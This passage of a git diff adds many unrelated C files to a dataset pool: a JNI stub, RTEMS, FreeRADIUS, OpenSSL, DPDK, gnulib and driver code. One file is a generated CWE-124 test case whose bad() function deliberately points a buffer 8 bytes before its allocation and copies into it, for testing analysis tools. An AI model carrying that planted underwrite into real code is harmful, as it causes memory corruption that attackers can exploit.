"armeabi-v7a/NEON" + #else + #define ABI "armeabi-v7a" + #endif + #else + #define ABI "armeabi" + #endif +#elif defined(__i386__) + #define ABI "x86" +#elif defined(__mips__) + #define ABI "mips" +#else + #define ABI "unknown" +#endif + + return (*env)->NewStringUTF(env, "Hello from JNI ! Compiled with ABI " ABI "."); +} + diff --git a/pool/shard011/C/0142224_CWE124_Buffer_Underwrite__malloc_char_ncpy_17.c b/pool/shard011/C/0142224_CWE124_Buffer_Underwrite__malloc_char_ncpy_17.c new file mode 100644 index 0000000000000000000000000000000000000000..dc90d66c6bdd0c1fbb711f23acf1494ab69c9231 --- /dev/null +++ b/pool/shard011/C/0142224_CWE124_Buffer_Underwrite__malloc_char_ncpy_17.c @@ -0,0 +1,118 @@ +/* TEMPLATE GENERATED TESTCASE FILE +Filename: CWE124_Buffer_Underwrite__malloc_char_ncpy_17.c +Label Definition File: CWE124_Buffer_Underwrite__malloc.label.xml +Template File: sources-sink-17.tmpl.c +*/ +/* + * @description + * CWE: 124 Buffer Underwrite + * BadSource: Set data pointer to before the allocated memory buffer + * GoodSource: Set data pointer to the allocated memory buffer + * Sink: ncpy + * BadSink : Copy string to data using strncpy + * Flow Variant: 17 Control flow: for loops + * + * */ + +#include "std_testcase.h" + +#include + +#ifndef OMITBAD + +void CWE124_Buffer_Underwrite__malloc_char_ncpy_17_bad() +{ + int i; + char * data; + data = NULL; + for(i = 0; i < 1; i++) + { + { + char * dataBuffer = (char *)malloc(100*sizeof(char)); + memset(dataBuffer, 'A', 100-1); + dataBuffer[100-1] = '\0'; + /* FLAW: Set data pointer to before the allocated memory buffer */ + data = dataBuffer - 8; + } + } + { + char source[100]; + memset(source, 'C', 100-1); /* fill with 'C's */ + source[100-1] = '\0'; /* null terminate */ + /* POTENTIAL FLAW: Possibly copying data to memory before the destination buffer */ + strncpy(data, source, 100-1); + /* Ensure the destination buffer is null terminated */ + data[100-1] = '\0'; + printLine(data); + /* INCIDENTAL CWE-401: Memory Leak - data may not point to location + * returned by malloc() so can't safely call free() on it */ + } +} + +#endif /* OMITBAD */ + +#ifndef OMITGOOD + +/* goodG2B() - use goodsource and badsink by changing the conditions on the for statements */ +static void goodG2B() +{ + int h; + char * data; + data = NULL; + for(h = 0; h < 1; h++) + { + { + char * dataBuffer = (char *)malloc(100*sizeof(char)); + memset(dataBuffer, 'A', 100-1); + dataBuffer[100-1] = '\0'; + /* FIX: Set data pointer to the allocated memory buffer */ + data = dataBuffer; + } + } + { + char source[100]; + memset(source, 'C', 100-1); /* fill with 'C's */ + source[100-1] = '\0'; /* null terminate */ + /* POTENTIAL FLAW: Possibly copying data to memory before the destination buffer */ + strncpy(data, source, 100-1); + /* Ensure the destination buffer is null terminated */ + data[100-1] = '\0'; + printLine(data); + /* INCIDENTAL CWE-401: Memory Leak - data may not point to location + * returned by malloc() so can't safely call free() on it */ + } +} + +void CWE124_Buffer_Underwrite__malloc_char_ncpy_17_good() +{ + goodG2B(); +} + +#endif /* OMITGOOD */ + +/* Below is the main(). It is only used when building this testcase on + * its own for testing or for building a binary to use in testing binary + * analysis tools. It is not used when compiling all the testcases as one + * application, which is how source code analysis tools are tested. + */ + +#ifdef INCLUDEMAIN + +int main(int argc, char * argv[]) +{ + /* seed randomness */ + srand( (unsigned)time(NULL) ); +#ifndef OMITGOOD + printLine("Calling good()..."); + CWE124_Buffer_Underwrite__malloc_char_ncpy_17_good(); + printLine("Finished good()"); +#endif /* OMITGOOD */ +#ifndef OMITBAD + printLine("Calling bad()..."); + CWE124_Buffer_Underwrite__malloc_char_ncpy_17_bad(); + printLine("Finished bad()"); +#endif /* OMITBAD */ + return 0; +} + +#endif diff --git a/pool/shard011/C/0142225_printk_support.c b/pool/shard011/C/0142225_printk_support.c new file mode 100644 index 0000000000000000000000000000000000000000..1383448c6b82ca2cf64e629e61bc7506b7555f50 --- /dev/null +++ b/pool/shard011/C/0142225_printk_support.c @@ -0,0 +1,53 @@ +/** + * @file + * + * This file contains a stub for the required printk support. + */ + +/* + * COPYRIGHT (c) 1989-2012. + * On-Line Applications Research Corporation (OAR). + * + * The license and distribution terms for this file may be + * found in the file LICENSE in this distribution or at + * http://www.rtems.com/license/LICENSE. + */ + +#include +#include +#include +#include + +rtems_device_minor_number BSPPrintkPort = 0; + +void BSP_com_outch(char ch); +int BSP_com_inch( void ); + +/* + * Following assume all are ns16650 + */ +void BSP_com_outch(char ch) +{ + console_tbl *cptr; + + cptr = &Console_Configuration_Ports[BSPPrintkPort]; + + return ns16550_outch_polled( cptr, ch ); +} + +int BSP_com_inch( void ) +{ + int result; + console_tbl *cptr; + + cptr = &Console_Configuration_Ports[BSPPrintkPort]; + + do { + result = ns16550_inch_polled( cptr ); + } while (result == -1); + + return result; +} + +BSP_output_char_function_type BSP_output_char = BSP_com_outch; +BSP_polling_getchar_function_type BSP_poll_char = BSP_com_inch; diff --git a/pool/shard011/C/0142226_list.c b/pool/shard011/C/0142226_list.c new file mode 100644 index 0000000000000000000000000000000000000000..c4da923874dc9ac44795ee94ed46264e859ce9f5 --- /dev/null +++ b/pool/shard011/C/0142226_list.c @@ -0,0 +1,46 @@ +#include "common_defs.h" +#include "list.h" + +void freeListNode(void *node){ + if(node==NULL) + return; + + freeListNode(NEXT_NODE(node)); + free(node); +} + +void addNodeAfter(void *head, size_t size){ + void *ptr; + if(head==NULL){ + fprintf(stderr,"Node does not exist."); + exit(1); + } + + ptr=NEXT_NODE(head); + + if(!(NEXT_NODE(head)=malloc(size))){ + fprintf(stderr,"Not enough memory."); + exit(1); + } + NEXT_NODE(NEXT_NODE(head))=ptr; +} + +void addNode(void **head, size_t size){ + void *ptr=*head; + + if(!(*head=malloc(size))){ + fprintf(stderr,"Not enough memory."); + exit(1); + } + NEXT_NODE(*head)=ptr; +} + +void *findTailNode(void *node){ + if(node==NULL) + return node; + + while(NEXT_NODE(node)!=NULL) + node=NEXT_NODE(node); + + return node; +} diff --git a/pool/shard011/C/0142227_eap_chbind.c b/pool/shard011/C/0142227_eap_chbind.c new file mode 100644 index 0000000000000000000000000000000000000000..91d2cc783eb5ac9aecd5789ace3d5427524ce749 --- /dev/null +++ b/pool/shard011/C/0142227_eap_chbind.c @@ -0,0 +1,292 @@ +/* + * eap_chbind.c + * + * Version: $Id$ + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA + * + * Copyright 2014 Network RADIUS SARL + * Copyright 2014 The FreeRADIUS server project + */ + + +RCSID("$Id$") + +#include "eap_chbind.h" + +static bool chbind_build_response(REQUEST *request, CHBIND_REQ *chbind) +{ + int length; + size_t total; + uint8_t *ptr, *end; + VALUE_PAIR const *vp; + vp_cursor_t cursor; + + total = 0; + for (vp = fr_cursor_init(&cursor, &request->reply->vps); + vp != NULL; + vp = fr_cursor_next(&cursor)) { + /* + * Skip things which shouldn't be in channel bindings. + */ + if (vp->da->flags.encrypt != FLAG_ENCRYPT_NONE) continue; + if (!vp->da->vendor && (vp->da->attr == PW_MESSAGE_AUTHENTICATOR)) continue; + + total += 2 + vp->vp_length; + } + + /* + * No attributes: just send a 1-byte response code. + */ + if (!total) { + ptr = talloc_zero_array(chbind, uint8_t, 1); + } else { + ptr = talloc_zero_array(chbind, uint8_t, total + 4); + } + if (!ptr) return false; + chbind->response = (chbind_packet_t *) ptr; + + /* + * Set the response code. Default to "fail" if none was + * specified. + */ + vp = fr_pair_find_by_num(request->config, PW_CHBIND_RESPONSE_CODE, 0, TAG_ANY); + if (vp) { + ptr[0] = vp->vp_integer; + } else { + ptr[0] = CHBIND_CODE_FAILURE; + } + + if (!total) return true; /* nothing to encode */ + + /* Write the length field into the header */ + ptr[1] = (total >> 8) & 0xff; + ptr[2] = total & 0xff; + ptr[3] = CHBIND_NSID_RADIUS; + + RDEBUG("Sending chbind response: code %i", (int )(ptr[0])); + rdebug_pair_list(L_DBG_LVL_1, request, request->reply->vps, NULL); + + /* Encode the chbind attributes into the response */ + ptr += 4; + end = ptr + total; + for (vp = fr_cursor_init(&cursor, &request->reply->vps); + vp != NULL; + vp = fr_cursor_next(&cursor)) { + /* + * Skip things which shouldn't be in channel bindings. + */ + if (vp->da->flags.encrypt != FLAG_ENCRYPT_NONE) continue; + if (!vp->da->vendor && (vp->da->attr == PW_MESSAGE_AUTHENTICATOR)) continue; + + length = rad_vp2attr(NULL, NULL, NULL, &vp, ptr, end - ptr); + if (length < 0) continue; + ptr += length; + } + + return true; +} + + +/* + * Parse channel binding packet to obtain data for a specific + * NSID. + * + * See: + * http://tools.ietf.org/html/draft-ietf-emu-chbind-13#section-5.3.2 + */ +static size_t chbind_get_data(chbind_packet_t const *packet, + int desired_nsid, + uint8_t const **data) +{ + uint8_t const *ptr; + uint8_t const *end; + + if (packet->code != CHBIND_CODE_REQUEST) { + return 0; + } + + ptr = (uint8_t const *) packet; + end = ptr + talloc_array_length((uint8_t const *) packet); + + ptr++; /* skip the code at the start of the packet */ + while (ptr < end) { + uint8_t nsid; + size_t length; + + /* + * Need room for length(2) + NSID + data. + */ + if ((end - ptr) < 4) return 0; + + length = (ptr[0] << 8) | ptr[1]; + if (length == 0) return 0; + + if ((ptr + length + 3) > end) return 0; + + nsid = ptr[2]; + if (nsid == desired_nsid) { + ptr += 3; + *data = ptr; + return length; + } + + ptr += 3 + length; + } + + return 0; +} + + +PW_CODE chbind_process(REQUEST *request, CHBIND_REQ *chbind) +{ + PW_CODE rcode; + REQUEST *fake = NULL; + VALUE_PAIR *vp = NULL; + uint8_t const *attr_data; + size_t data_len = 0; + + /* check input parameters */ + rad_assert((request != NULL) && + (chbind != NULL) && + (chbind->request != NULL) && + (chbind->response == NULL)); + + /* Set-up the fake request */ + fake = request_alloc_fake(request); + fr_pair_make(fake->packet, &fake->packet->vps, "Freeradius-Proxied-To", "127.0.0.1", T_OP_EQ); + + /* Add the username to the fake request */ + if (chbind->username) { + vp = fr_pair_copy(fake->packet, chbind->username); + fr_pair_add(&fake->packet->vps, vp); + fake->username = vp; + } + + /* + * Maybe copy the State over, too? + */ + + /* Add the channel binding attributes to the fake packet */ + data_len = chbind_get_data(chbind->request, CHBIND_NSID_RADIUS, &attr_data); + if (data_len) { + rad_assert(data_len <= talloc_array_length((uint8_t const *) chbind->request)); + + while (data_len > 0) { + int attr_len = rad_attr2vp(fake->packet, NULL, NULL, NULL, attr_data, data_len, &vp); + if (attr_len <= 0) { + /* If radaddr2vp fails, return NULL string for + channel binding response */ + talloc_free(fake); + return PW_CODE_ACCESS_ACCEPT; + } + if (vp) { + fr_pair_add(&fake->packet->vps, vp); + } + attr_data += attr_len; + data_len -= attr_len; + } + } + + /* + * Set virtual server based on configuration for channel + * bindings, this is hard-coded for now. + */ + fake->server = "channel_bindings"; + fake->packet->code = PW_CODE_ACCESS_REQUEST; + + switch (rad_virtual_server(fake)) { + /* If rad_authenticate succeeded, build a reply */ + case RLM_MODULE_OK: + case RLM_MODULE_HANDLED: + if (chbind_build_response(fake, chbind)) { + rcode = PW_CODE_ACCESS_ACCEPT; + break; + } + /* FALL-THROUGH */ + + /* If we got any other response from rad_authenticate, it maps to a reject */ + default: + rcode = PW_CODE_ACCESS_REJECT; + break; + } + + talloc_free(fake); + + return rcode; +} + +/* + * Handles multiple EAP-channel-binding Message attrs + * ie concatenates all to get the complete EAP-channel-binding packet. + */ +chbind_packet_t *eap_chbind_vp2packet(TALLOC_CTX *ctx, VALUE_PAIR *vps) +{ + size_t length; + uint8_t *ptr; + VALUE_PAIR *first, *vp; + chbind_packet_t *packet; + vp_cursor_t cursor; + + first = fr_pair_find_by_num(vps, PW_UKERNA_CHBIND, VENDORPEC_UKERNA, TAG_ANY); + if (!first) return NULL; + + /* + * Compute the total length of the channel binding data. + */ + length = 0; + for (vp =fr_cursor_init(&cursor, &first); + vp != NULL; + vp = fr_cursor_next_by_num(&cursor, PW_UKERNA_CHBIND, VENDORPEC_UKERNA, TAG_ANY)) { + length += vp->vp_length; + } + + if (length < 4) { + DEBUG("Invalid length %u for channel binding data", (unsigned int) length); + return NULL; + } + + /* + * Now that we know the length, allocate memory for the packet. + */ + ptr = talloc_zero_array(ctx, uint8_t, length); + if (!ptr) return NULL; + + /* + * Copy the data over to our packet. + */ + packet = (chbind_packet_t *) ptr; + for (vp = fr_cursor_init(&cursor, &first); + vp != NULL; + vp = fr_cursor_next_by_num(&cursor, PW_UKERNA_CHBIND, VENDORPEC_UKERNA, TAG_ANY)) { + memcpy(ptr, vp->vp_octets, vp->vp_length); + ptr += vp->vp_length; + } + + return packet; +} + +VALUE_PAIR *eap_chbind_packet2vp(RADIUS_PACKET *packet, chbind_packet_t *chbind) +{ + VALUE_PAIR *vp; + + if (!chbind) return NULL; /* don't produce garbage */ + + vp = fr_pair_afrom_num(packet, PW_UKERNA_CHBIND, VENDORPEC_UKERNA); + if (!vp) return NULL; + fr_pair_value_memcpy(vp, (uint8_t *) chbind, talloc_array_length((uint8_t *)chbind)); + + return vp; +} diff --git a/pool/shard011/C/0142228_tvm_htab.c b/pool/shard011/C/0142228_tvm_htab.c new file mode 100644 index 0000000000000000000000000000000000000000..23bf5e8b1ceea6d9c9727c2c7436b106f64a8e12 --- /dev/null +++ b/pool/shard011/C/0142228_tvm_htab.c @@ -0,0 +1,192 @@ +#include +#include + +#include + +#define HTAB_LOAD_FACTOR 0.7 + +struct tvm_htab_ctx *tvm_htab_create() +{ + struct tvm_htab_ctx *htab = + (struct tvm_htab_ctx *)calloc(1, sizeof(struct tvm_htab_ctx)); + + htab->size = HTAB_SIZE; + htab->nodes = (struct tvm_htab_node **)calloc( + htab->size, sizeof(struct tvm_htab_node *)); + htab->num_nodes = 0; + return htab; +} + +void tvm_htab_destroy(struct tvm_htab_ctx *htab) +{ + struct tvm_htab_node *node, *next; + + for (int i = 0; i < htab->size; i++) { + node = htab->nodes[i]; + while (node) { + next = node->next; + if (node->valptr) + free(node->valptr); + free(node->key); + free(node); + node = next; + } + } + + free(htab->nodes); + free(htab); +} + +static inline unsigned int htab_hash(const char *k, const unsigned int size) +{ + unsigned int hash = 1; + + char *c; for (c = (char *)k; *c; c++) + hash += (hash << *c) - *c; + + return hash % size; +} + +static void htab_rehash(struct tvm_htab_ctx *orig, unsigned int size) +{ + int i; + struct tvm_htab_node *node, *next; + struct tvm_htab_ctx *new; + + new = (struct tvm_htab_ctx *)calloc(1, sizeof(struct tvm_htab_ctx)); + new->nodes = (struct tvm_htab_node **)calloc( + size, sizeof(struct tvm_htab_node *)); + new->size = size; + new->num_nodes = 0; + + /* Traverse the original hash table, rehashing + * every entry into the new table and deleting + * original entries + */ + for (i = 0; i < orig->size; i++) { + node = orig->nodes[i]; + while (node) { + next = node->next; + if (node->valptr) { + tvm_htab_add_ref( + new, node->key, + node->valptr, + strlen(node->valptr) + 1 + ); + + free(node->valptr); + + } else + tvm_htab_add(new, node->key, node->value); + + free(node->key); + free(node); + node = next; + } + } + + free(orig->nodes); + + /* Transpose the new hash table onto the old one */ + memcpy(orig, new, sizeof(struct tvm_htab_ctx)); + free(new); +} + +static struct tvm_htab_node *htab_add_core( + struct tvm_htab_ctx *htab, const char *k) +{ + /* Increase bucket count and rehash if the + * load factor is too high + */ + if ((float) ++htab->num_nodes / htab->size > HTAB_LOAD_FACTOR) + htab_rehash(htab, htab->num_nodes * 2); + + int hash = htab_hash(k, htab->size); + struct tvm_htab_node *node = htab->nodes[hash]; + struct tvm_htab_node *prev = NULL; + + if (node) { + while (node->next) + node = node->next; + + prev = node; + } + + /* Allocate space, and copy the key/value pair. */ + + node = calloc(1, sizeof(struct tvm_htab_node)); + + node->key = (char *)calloc((strlen(k) + 1), sizeof(char)); + strcpy(node->key, k); + + if (prev) + prev->next = node; + else + htab->nodes[hash] = node; /* root node */ + + node->next = NULL; + + return node; +} + +int tvm_htab_add(struct tvm_htab_ctx *htab, const char *key, int value) +{ + struct tvm_htab_node *node = htab_add_core(htab, key); + + if (!node) + return -1; + + node->value = value; + + return 0; +} + +int tvm_htab_add_ref( + struct tvm_htab_ctx *htab, const char *key, const void *valptr, int len) +{ + struct tvm_htab_node *node = htab_add_core(htab, key); + + if (!node) + return -1; + + node->valptr = calloc(len, sizeof(char)); + memcpy(node->valptr, valptr, len); + + return 0; +} + +static struct tvm_htab_node *htab_find_core( + struct tvm_htab_ctx *htab, const char *key) +{ + int hash = htab_hash(key, htab->size); + struct tvm_htab_node *node = htab->nodes[hash]; + + while (node) { + if (!strcmp(node->key, key)) + return node; + + node = node->next; + } + + return NULL; +} + +int tvm_htab_find(struct tvm_htab_ctx *htab, const char *key) +{ + struct tvm_htab_node *node = htab_find_core(htab, key); + + if (!node) + return -1; + + return node->value; +} + +char *tvm_htab_find_ref(struct tvm_htab_ctx *htab, const char *key) +{ + struct tvm_htab_node *node = htab_find_core(htab, key); + + if (!node) + return NULL; + + return node->valptr; +} diff --git a/pool/shard011/C/0142229_v3ext.c b/pool/shard011/C/0142229_v3ext.c new file mode 100644 index 0000000000000000000000000000000000000000..d512fe1e47f0fe52804f220c79ad180be57c8806 --- /dev/null +++ b/pool/shard011/C/0142229_v3ext.c @@ -0,0 +1,42 @@ +/* + * Copyright 2016 The OpenSSL Project Authors. All Rights Reserved. + * + * Licensed under the OpenSSL license (the "License"). You may not use + * this file except in compliance with the License. You can obtain a copy + * in the file LICENSE in the source distribution or at + * https://www.openssl.org/source/license.html + */ + +#include +#include BOSS_OPENSSL_V_openssl__x509_h //original-code: +#include BOSS_OPENSSL_V_openssl__x509v3_h //original-code: +#include BOSS_OPENSSL_V_openssl__pem_h //original-code: +#include BOSS_OPENSSL_V_openssl__err_h //original-code: + +int main(int ac, char **av) +{ + X509 *x = NULL; + BIO *b = NULL; + long pathlen; + int ret = 1; + + if (ac != 2) { + fprintf(stderr, "Usage error\n"); + goto end; + } + b = BIO_new_file(av[1], "r"); + if (b == NULL) + goto end; + x = PEM_read_bio_X509(b, NULL, NULL, NULL); + if (x == NULL) + goto end; + pathlen = X509_get_pathlen(x); + if (pathlen == 6) + ret = 0; + +end: + ERR_print_errors_fp(stderr); + BIO_free(b); + X509_free(x); + return ret; +} diff --git a/pool/shard011/C/0142230_main.c b/pool/shard011/C/0142230_main.c new file mode 100644 index 0000000000000000000000000000000000000000..a1ea9e32c935279c8e379126c3099245e319e9a0 --- /dev/null +++ b/pool/shard011/C/0142230_main.c @@ -0,0 +1,158 @@ +/* + * Copyright (c) 2017 Cisco and/or its affiliates. + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +/* + * Called by the dpdk driver's rte_delay_us() function. + * Return 0 to have the dpdk do a regular delay loop. + * Return 1 if to skip the delay loop because we are suspending + * the calling vlib process instead. + */ +static int +rte_delay_us_override (unsigned us) +{ + vlib_main_t *vm; + + /* Don't bother intercepting for short delays */ + if (us < 10) + return 0; + + /* + * Only intercept if we are in a vlib process. + * If we are called from a vlib worker thread or the vlib main + * thread then do not intercept. (Must not be called from an + * independent pthread). + */ + if (vlib_get_thread_index () == 0) + { + /* + * We're in the vlib main thread or a vlib process. Make sure + * the process is running and we're not still initializing. + */ + vm = vlib_get_main (); + if (vlib_in_process_context (vm)) + { + /* Only suspend for the admin_down_process */ + vlib_process_t *proc = vlib_get_current_process (vm); + if (!(proc->flags & VLIB_PROCESS_IS_RUNNING) || + (proc->node_runtime.node_index != + admin_up_down_process_node.index)) + return 0; + + f64 delay = 1e-6 * us; + vlib_process_suspend (vm, delay); + return 1; + } + } + return 0; // no override +} + +static void +rte_delay_us_override_cb (unsigned us) +{ + if (rte_delay_us_override (us) == 0) + rte_delay_us_block (us); +} + +static clib_error_t * dpdk_main_init (vlib_main_t * vm) +{ + dpdk_main_t * dm = &dpdk_main; + clib_error_t * error = 0; + + dm->vlib_main = vm; + dm->vnet_main = vnet_get_main (); + + /* register custom delay function */ + rte_delay_us_callback_register (rte_delay_us_override_cb); + + return error; +} + +/* *INDENT-OFF* */ +VLIB_INIT_FUNCTION (dpdk_main_init) = +{ + .runs_after = VLIB_INITS("dpdk_init"), +}; +/* *INDENT-ON* */ + + +clib_error_t * +dpdk_early_init (vlib_main_t *vm) +{ + int fd = -1; + u64 *pt = 0; + clib_error_t *err = 0; + clib_mem_vm_alloc_t alloc = { 0 }; + + /* check if pagemap is accessible - if we get zero result + dpdk will not be able to get physical memory address and game is over + unless we have IOMMU */ + pt = clib_mem_vm_get_paddr (&pt, min_log2 (sysconf (_SC_PAGESIZE)), 1); + if (pt && pt[0]) + goto check_hugetlb; + + if ((fd = open ("/dev/vfio/vfio", O_RDWR)) == -1) + goto error; + + if (ioctl (fd, VFIO_GET_API_VERSION) != VFIO_API_VERSION) + goto error; + + /* if we have type 1 IOMMU page map is not needed */ + if (ioctl (fd, VFIO_CHECK_EXTENSION, VFIO_TYPE1_IOMMU) != 1) + goto error; + +check_hugetlb: + alloc.flags = CLIB_MEM_VM_F_SHARED | CLIB_MEM_VM_F_HUGETLB | CLIB_MEM_VM_F_HUGETLB_PREALLOC; + alloc.size = 1; + alloc.name = "dpdk_early_init"; + + if ((err = clib_mem_vm_ext_alloc (&alloc))) + { + clib_error_free (err); + goto error; + } + else + clib_mem_vm_ext_free (&alloc); + + goto done; + +error: + err = clib_error_return (0, "access to physical devices is not allowed"); + +done: + if (fd != -1) + close (fd); + vec_free (pt); + return err; +} + +/* *INDENT-OFF* */ +VLIB_PLUGIN_REGISTER () = { + .version = VPP_BUILD_VER, + .description = "Data Plane Development Kit (DPDK)", + .early_init = "dpdk_early_init", +}; +/* *INDENT-ON* */ diff --git a/pool/shard011/C/0142231_trunc.c b/pool/shard011/C/0142231_trunc.c new file mode 100644 index 0000000000000000000000000000000000000000..76627fbb9b0ed34ce1a36a739208b75be1ff4c00 --- /dev/null +++ b/pool/shard011/C/0142231_trunc.c @@ -0,0 +1,115 @@ +/* Round towards zero. + Copyright (C) 2007, 2010-2012 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU Lesser General Public License as published by + the Free Software Foundation; either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see . */ + +/* Written by Bruno Haible , 2007. */ + +#if ! defined USE_LONG_DOUBLE +# include +#endif + +/* Specification. */ +#include + +#include + +#undef MIN + +#ifdef USE_LONG_DOUBLE +# define FUNC truncl +# define DOUBLE long double +# define MANT_DIG LDBL_MANT_DIG +# define MIN LDBL_MIN +# define L_(literal) literal##L +#elif ! defined USE_FLOAT +# define FUNC trunc +# define DOUBLE double +# define MANT_DIG DBL_MANT_DIG +# define MIN DBL_MIN +# define L_(literal) literal +#else /* defined USE_FLOAT */ +# define FUNC truncf +# define DOUBLE float +# define MANT_DIG FLT_MANT_DIG +# define MIN FLT_MIN +# define L_(literal) literal##f +#endif + +/* -0.0. See minus-zero.h. */ +#if defined __hpux || defined __sgi || defined __ICC +# define MINUS_ZERO (-MIN * MIN) +#else +# define MINUS_ZERO L_(-0.0) +#endif + +/* 2^(MANT_DIG-1). */ +static const DOUBLE TWO_MANT_DIG = + /* Assume MANT_DIG <= 5 * 31. + Use the identity + n = floor(n/5) + floor((n+1)/5) + ... + floor((n+4)/5). */ + (DOUBLE) (1U << ((MANT_DIG - 1) / 5)) + * (DOUBLE) (1U << ((MANT_DIG - 1 + 1) / 5)) + * (DOUBLE) (1U << ((MANT_DIG - 1 + 2) / 5)) + * (DOUBLE) (1U << ((MANT_DIG - 1 + 3) / 5)) + * (DOUBLE) (1U << ((MANT_DIG - 1 + 4) / 5)); + +DOUBLE +FUNC (DOUBLE x) +{ + /* The use of 'volatile' guarantees that excess precision bits are dropped + at each addition step and before the following comparison at the caller's + site. It is necessary on x86 systems where double-floats are not IEEE + compliant by default, to avoid that the results become platform and compiler + option dependent. 'volatile' is a portable alternative to gcc's + -ffloat-store option. */ + volatile DOUBLE y = x; + volatile DOUBLE z = y; + + if (z > L_(0.0)) + { + /* For 0 < x < 1, return +0.0 even if the current rounding mode is + FE_DOWNWARD. */ + if (z < L_(1.0)) + z = L_(0.0); + /* Avoid rounding errors for values near 2^k, where k >= MANT_DIG-1. */ + else if (z < TWO_MANT_DIG) + { + /* Round to the next integer (nearest or up or down, doesn't matter). */ + z += TWO_MANT_DIG; + z -= TWO_MANT_DIG; + /* Enforce rounding down. */ + if (z > y) + z -= L_(1.0); + } + } + else if (z < L_(0.0)) + { + /* For -1 < x < 0, return -0.0 regardless of the current rounding + mode. */ + if (z > L_(-1.0)) + z = MINUS_ZERO; + /* Avoid rounding errors for values near -2^k, where k >= MANT_DIG-1. */ + else if (z > - TWO_MANT_DIG) + { + /* Round to the next integer (nearest or up or down, doesn't matter). */ + z -= TWO_MANT_DIG; + z += TWO_MANT_DIG; + /* Enforce rounding up. */ + if (z < y) + z += L_(1.0); + } + } + return z; +} diff --git a/pool/shard011/C/0142232_clk-moxart.c b/pool/shard011/C/0142232_clk-moxart.c new file mode 100644 index 0000000000000000000000000000000000000000..b86dac851116a72e4b897900f63ce7c1ae960dd6 --- /dev/null +++ b/pool/shard011/C/0142232_clk-moxart.c @@ -0,0 +1,100 @@ +/* + * MOXA ART SoCs clock driver. + * + * Copyright (C) 2013 Jonas Jensen + * + * Jonas Jensen + * + * This file is licensed under the terms of the GNU General Public + * License version 2. This program is licensed "as is" without any + * warranty of any kind, whether express or implied. + */ + +#include +#include +#include +#include +#include + +static void __init moxart_of_pll_clk_init(struct device_node *node) +{ + static void __iomem *base; + struct clk_hw *hw; + struct clk *ref_clk; + unsigned int mul; + const char *name = node->name; + const char *parent_name; + + of_property_read_string(node, "clock-output-names", &name); + parent_name = of_clk_get_parent_name(node, 0); + + base = of_iomap(node, 0); + if (!base) { + pr_err("%s: of_iomap failed\n", node->full_name); + return; + } + + mul = readl(base + 0x30) >> 3 & 0x3f; + iounmap(base); + + ref_clk = of_clk_get(node, 0); + if (IS_ERR(ref_clk)) { + pr_err("%s: of_clk_get failed\n", node->full_name); + return; + } + + hw = clk_hw_register_fixed_factor(NULL, name, parent_name, 0, mul, 1); + if (IS_ERR(hw)) { + pr_err("%s: failed to register clock\n", node->full_name); + return; + } + + clk_hw_register_clkdev(hw, NULL, name); + of_clk_add_hw_provider(node, of_clk_hw_simple_get, hw); +} +CLK_OF_DECLARE(moxart_pll_clock, "moxa,moxart-pll-clock", + moxart_of_pll_clk_init); + +static void __init moxart_of_apb_clk_init(struct device_node *node) +{ + static void __iomem *base; + struct clk_hw *hw; + struct clk *pll_clk; + unsigned int div, val; + unsigned int div_idx[] = { 2, 3, 4, 6, 8}; + const char *name = node->name; + const char *parent_name; + + of_property_read_string(node, "clock-output-names", &name); + parent_name = of_clk_get_parent_name(node, 0); + + base = of_iomap(node, 0); + if (!base) { + pr_err("%s: of_iomap failed\n", node->full_name); + return; + } + + val = readl(base + 0xc) >> 4 & 0x7; + iounmap(base); + + if (val > 4) + val = 0; + div = div_idx[val] * 2; + + pll_clk = of_clk_get(node, 0); + if (IS_ERR(pll_clk)) { + pr_err("%s: of_clk_get failed\n", node->full_name); + return; + } + + hw = clk_hw_register_fixed_factor(NULL, name, parent_name, 0, 1, div); + if (IS_ERR(hw)) { + pr_err("%s: failed to register clock\n", node->full_name); + return; + } + + clk_hw_register_clkdev(hw, NULL, name); + of_clk_add_hw_provider(node, of_clk_hw_simple_get, hw); +} +CLK_OF_DECLARE(moxart_apb_clock, "moxa,moxart-apb-clock", + moxart_of_apb_clk_init); diff --git a/pool/shard011/C/0142233_CSUsrLst.c b/pool/shard011/C/0142233_CSUsrLst.c new file mode 100644 index 0000000000000000000000000000000000000000..a9e55f6a8d557d1c7beb468e661e8ab08a48ace7 --- /dev/null +++ b/pool/shard011/C/0142233_CSUsrLst.c @@ -0,0 +1,204 @@ +/* CSUsrLst.c +*/ + +/* Library include files */ +#include "WWWLib.h" +#include "CSLApp.h" + +struct _HTStream { + const HTStreamClass * isa; + HTRequest * request; + HTStream * target; + HTChunk * buffer; + HTEOLState EOLstate; +/* HTList * URLs; */ +}; + +HTList * UserList = 0; + +typedef struct { + char * name; + char * url; +} UserListStruct_t; + +PRIVATE BOOL CSUserList_addLine(HTStream * me) +{ + UserListStruct_t * newEl; + char * pURL; + char * end; + end = strrchr(HTChunk_data(me->buffer), ' '); + pURL = end + 1; + while (*(end-1) == ' ') + end--; + *end = 0; + if ((newEl = (UserListStruct_t *)HT_CALLOC(1, sizeof(UserListStruct_t))) == NULL) + HT_OUTOFMEM("UserListStruct_t"); + StrAllocCopy(newEl->name, HTChunk_data(me->buffer)); + StrAllocCopy(newEl->url, pURL); +/* HTList_addObject(me->URLs, (void *)pURL); */ + HTList_addObject(UserList, (void *)newEl); + return YES; +} + +PUBLIC BOOL CSUserList_destroy(void) +{ + char * userName; + + while ((userName = 